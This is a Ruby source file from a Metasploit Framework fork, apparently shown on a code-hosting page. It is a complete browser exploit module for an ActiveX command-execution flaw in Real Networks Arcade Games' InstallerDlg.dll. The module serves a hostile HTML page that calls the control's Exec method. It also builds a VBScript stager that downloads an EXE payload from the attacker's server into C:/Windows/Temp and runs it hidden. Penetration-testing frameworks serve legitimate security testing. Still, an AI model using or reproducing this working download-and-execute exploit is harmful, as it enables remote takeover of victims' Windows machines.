PageRenderTime 52ms CodeModel.GetById 18ms RepoModel.GetById 0ms app.codeStats 0ms

/modules/exploits/windows/browser/real_arcade_installerdlg.rb

https://gitlab.com/leijianbin/metasploit-framework
Ruby | 110 lines | 93 code | 9 blank | 8 comment | 1 complexity | 2e99c4135bbe67a9cb74a88df24296ed MD5 | raw file
Possible License(s): BSD-3-Clause, Apache-2.0, GPL-2.0, LGPL-2.1
  1. ##
  2. # This module requires Metasploit: http//metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##
  5. require 'msf/core'
  6. class Metasploit3 < Msf::Exploit::Remote
  7. Rank = NormalRanking
  8. include Msf::Exploit::Remote::HttpServer::HTML
  9. include Msf::Exploit::EXE
  10. def initialize(info = {})
  11. super(update_info(info,
  12. 'Name' => 'Real Networks Arcade Games StubbyUtil.ProcessMgr ActiveX Arbitrary Code Execution',
  13. 'Description' => %q{
  14. This module exploits a vulnerability in Real Networks Acrade Game's ActiveX control. The "exec"
  15. function found in InstallerDlg.dll (v2.6.0.445) allows remote attackers to run arbitrary commands
  16. on the victim machine.
  17. },
  18. 'License' => MSF_LICENSE,
  19. 'Author' =>
  20. [
  21. 'rgod', #Initial discovery, poc
  22. 'sinn3r', #msf
  23. ],
  24. 'References' =>
  25. [
  26. [ 'OSVDB', '71559' ],
  27. [ 'EDB', '17105' ]
  28. ],
  29. 'Payload' =>
  30. {
  31. 'Space' => 1024,
  32. 'BadChars' => "\x00",
  33. },
  34. 'Platform' => 'win',
  35. 'Targets' =>
  36. [
  37. [ 'Windows Universal', {} ],
  38. ],
  39. 'DisclosureDate' => 'Apr 3 2011',
  40. 'DefaultTarget' => 0))
  41. end
  42. # Unfortunately if we echo the vbs cmdstager too many times, we tend to have random missing lines in
  43. # either the payload or the vbs script. To avoid this problem, I ended up writing this custom routine
  44. # that only uses one echo.
  45. def build_vbs(url, payload_name, stager_name)
  46. name_xmlhttp = rand_text_alpha(2)
  47. name_adodb = rand_text_alpha(2)
  48. tmp = "#{@temp_folder}/#{stager_name}"
  49. vbs = "echo Set #{name_xmlhttp} = CreateObject(\"\"Microsoft.XMLHTTP\"\") "
  50. vbs << ": #{name_xmlhttp}.open \"\"GET\"\",\"\"http://#{url}\"\",False : #{name_xmlhttp}.send"
  51. vbs << ": Set #{name_adodb} = CreateObject(\"\"ADODB.Stream\"\") "
  52. vbs << ": #{name_adodb}.Open : #{name_adodb}.Type=1 "
  53. vbs << ": #{name_adodb}.Write #{name_xmlhttp}.responseBody "
  54. vbs << ": #{name_adodb}.SaveToFile \"\"#{@temp_folder}/#{payload_name}.exe\"\",2 "
  55. vbs << ": CreateObject(\"\"WScript.Shell\"\").Run \"\"#{@temp_folder}/#{payload_name}.exe\"\",0 >> #{tmp}"
  56. return vbs
  57. end
  58. def exploit
  59. @payload_name = rand_text_alpha(4)
  60. @temp_folder = "C:/Windows/Temp"
  61. super
  62. end
  63. def on_request_uri(cli, request)
  64. if request.uri =~ /\.exe/
  65. print_status("Sending payload EXE")
  66. return if ((p=regenerate_payload(cli)) == nil)
  67. data = generate_payload_exe( {:code=>p.encoded} )
  68. send_response(cli, data, {'Content-Type' => 'application/octet-stream'} )
  69. return
  70. end
  71. # Payload's URL
  72. payload_src = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
  73. payload_src << ":" << datastore['SRVPORT'] << get_resource() + "/" + @payload_name + ".exe"
  74. # Create the stager (download + execute payload)
  75. stager_name = rand_text_alpha(6) + ".vbs"
  76. stager = build_vbs(payload_src, @payload_name, stager_name)
  77. html_obj_name = rand_text_alpha(6)
  78. html = <<-EOS
  79. <html>
  80. <object classid='clsid:5818813E-D53D-47A5-ABBB-37E2A07056B5' id='#{html_obj_name}' />
  81. </object>
  82. <script language='vbscript'>
  83. #{html_obj_name}.Exec "cmd","/c #{stager}",1,1,""
  84. setTimeout "x=1", 3000
  85. #{html_obj_name}.Exec "cmd","/c start #{@temp_folder}/#{stager_name}",1,1,""
  86. </script>
  87. </html>
  88. EOS
  89. # Remove extra tabs
  90. html = html.gsub(/^\t\t/, "")
  91. print_status("Sending #{self.name}")
  92. send_response(cli, html, { 'Content-Type' => 'text/html' })
  93. end
  94. end